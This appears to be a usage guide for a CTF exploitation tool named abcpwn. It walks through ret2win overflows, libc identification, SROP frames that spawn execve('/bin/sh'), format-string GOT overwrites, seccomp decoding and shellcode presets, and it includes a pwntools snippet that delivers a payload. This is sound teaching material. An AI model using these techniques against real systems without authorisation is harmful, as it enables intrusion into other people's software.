End-to-end walkthroughs of the abcpwn workflow for common CTF
binary-exploitation tasks. So the commands run verbatim on any Linux
box, every shell block here uses /bin/ls (a binary you already have)
or pure abcpwn operations that need no target file. Substitute your
own challenge binary where you see /bin/ls.
Blocks marked as plain output (not bash) are illustrative -- sample
leaks, addresses, and program output you would see during a real
engagement.
The commands assume abcpwn is on your PATH.
A "ret2win" is the canonical first stack-overflow challenge: the binary
contains a function (often win) that prints the flag, but no normal
control flow reaches it. The exploit overflows a stack buffer to
redirect the saved return address to win.
abcpwn info /bin/lsThe mitigation report tells you what you are up against -- NX (can you execute the stack?), PIE (are addresses absolute or relative?), and the stack canary (do you need a leak first?).
abcpwn syms /bin/ls --dangerous--dangerous flags risky imports (gets, system, scanf, ...). In a
real ret2win you would instead look for the win/flag symbol and note
its address, say 0x401200.
Generate a cyclic pattern, feed it to the crashing input, and recover the offset of the four bytes that landed in the saved return address:
abcpwn cyclic 200After the crash you read the faulting value out of the debugger (say
0x6161616a) and look up its offset:
abcpwn cyclic --find 0x6161616aThe integer form is interpreted little-endian, matching
pwntools.cyclic_find.
abcpwn pack 0x401200pack emits the little-endian bytes of the target address. To get a
full pwntools-shaped starting point:
abcpwn template ret2win /bin/ls -o /tmp/solve.pyEdit the OFFSET and target tube in the generated /tmp/solve.py.
You have leaks from a remote process and need to know which libc it runs so you can compute correct offsets. Only the low 12 bits of each leak matter (the page-aligned offset within libc):
puts @ 0x7f0011aabbb0 -> 0xbb0
printf @ 0x7f0011aaca50 -> 0xa50
Feed the low bits to libc id:
abcpwn libc id --offset puts:0xbb0 --offset printf:0xa50It prints the matching libc id, or a short candidate list when two
libcs share those low bits. With an id in hand you would fetch the rest
of the offsets (abcpwn libc offsets <id>) or, with --allow-network,
download the matching libc.so.6 (abcpwn libc download <id>); both
are illustrated rather than run here since they need a populated
database or network access.
Sigreturn-Oriented Programming uses the kernel's rt_sigreturn
machinery to set every register from a stack-resident frame in a single
gadget -- handy when you have one write and a syscall gadget.
abcpwn gadget /bin/ls --type all --filter 'syscall' --no-progressPick a syscall (or syscall ; ret) hit; that address is where your
frame's rip will point.
abcpwn constgrep sig --category signalOn x86_64 rt_sigreturn is syscall 15; the frame below instead targets
execve (59).
abcpwn srop --arch x86_64 --rip 0x401234 --rsp 0x404300 \
--syscall 59 --syscall-arg 0x404308 --syscall-arg 0 --syscall-arg 00x401234 is your syscall gadget, 0x404308 is where /bin/sh\0
lives on the stack you control. Concatenate the emitted frame behind the
gadget address. A solve skeleton:
abcpwn template srop /bin/ls -o /tmp/solve_srop.pyA format-string bug gives both a read (%s, %n) and a write (%n,
%hn, %hhn). First find where your input lands. Send a probe like
AAAA%x.%x.%x.%x and capture the output; the marker AAAA is
0x41414141:
abcpwn fmt --find-offset '11.41414141.22'The printed index is the positional argument where your input starts.
With that index, build a GOT overwrite -- here puts@got (0x404020)
redirected to a win at 0x4011aa from arg position 7:
abcpwn fmt --write 0x404020=0x4011aa --arg-position 7The payload uses %hn two-byte writes to avoid the counter inflation of
a four-byte %n. A solve skeleton:
abcpwn template fmt-leak /bin/ls -o /tmp/solve_fmt.pyCTF challenges often install a seccomp filter restricting syscalls. The
filter is a classic-BPF program; once you have its bytes (from
strace -f -e trace=prctl,seccomp, a debugger, or abcpwn seccomp dump
on a binary that embeds a static filter) you can decode it:
abcpwn seccomp disasm 2000000004000000150001003e0000c006000000000000002000000000000000150000013b0000000600000000000000060000000000ff7fThe output is human-readable cBPF: load arch, load the syscall number,
compare against the allowed list, then ALLOW or KILL. A filter that
permits only read/write/exit means no execve -- you need
open/read/write shellcode instead. The shipped sh preset:
abcpwn shellcode --preset sh --arch x86_64Confirm what a payload actually does by disassembling its bytes:
abcpwn disasm 9090c3 --arch x86_64(Here 90 90 c3 is just nop; nop; ret; pipe real shellcode bytes
through disasm to audit the syscalls it makes.)
abcpwn is the offline half of an exploit: it produces patterns, offsets,
gadgets, packed addresses, and payloads without touching the network.
For the live half -- connecting to a target and driving its I/O -- pair
it with a process driver such as pwntools. (The pwn subcommand is a
v0.1 placeholder; see the FAQ.)
Do the offline work with abcpwn. Generate a cyclic pattern to send into the target, then turn the value it faulted on into an offset:
abcpwn cyclic 200
abcpwn cyclic --find laaaPack the address you want to redirect execution to:
abcpwn pack 0x401234Then let the driver own the connection, using the offset abcpwn computed:
import subprocess
from pwn import process, p64
offset = int(subprocess.check_output(["abcpwn", "cyclic", "--find", "laaa"]))
io = process("./vuln")
io.sendline(b"A" * offset + p64(0x401234))
io.interactive()The division of labor is the point: abcpwn stays deterministic and offline; the driver handles the live tube.